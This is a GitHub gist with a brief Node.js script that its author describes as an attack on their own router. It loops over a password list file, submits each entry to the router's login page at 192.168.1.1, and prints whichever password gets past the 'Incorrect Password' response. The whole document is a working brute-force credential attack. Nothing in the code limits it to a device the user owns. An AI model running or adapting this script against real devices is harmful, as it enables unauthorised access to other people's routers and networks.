Skip to content

Instantly share code, notes, and snippets.

@giuscri
Created September 24, 2014 00:44
Show Gist options
  • Save giuscri/1e72676eed075b438c61 to your computer and use it in GitHub Desktop.
Save giuscri/1e72676eed075b438c61 to your computer and use it in GitHub Desktop.
Ad-hoc attack for my own router ... :)
#!/usr/bin/node
// Ad-hoc attack for my own router ... :)
var fs = require('fs')
var request = require('request')
fs.readFile('passwords.txt', 'utf8', function (err, data) {
if (err) {
throw err
}
pws = data.split('\n')
pws.pop()
pws.forEach(function (pw) {
request.post(
'http://192.168.1.1/cgi-bin/login.exe',
{form: {'pws': pw}, followAllRedirects: true},
function (error, response, body) {
if (!error && response.statusCode === 200) {
if (body.indexOf('Incorrect Password') < 0) {
console.log(['Correct password:', pw].join(' '))
}
}
}
)
})
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment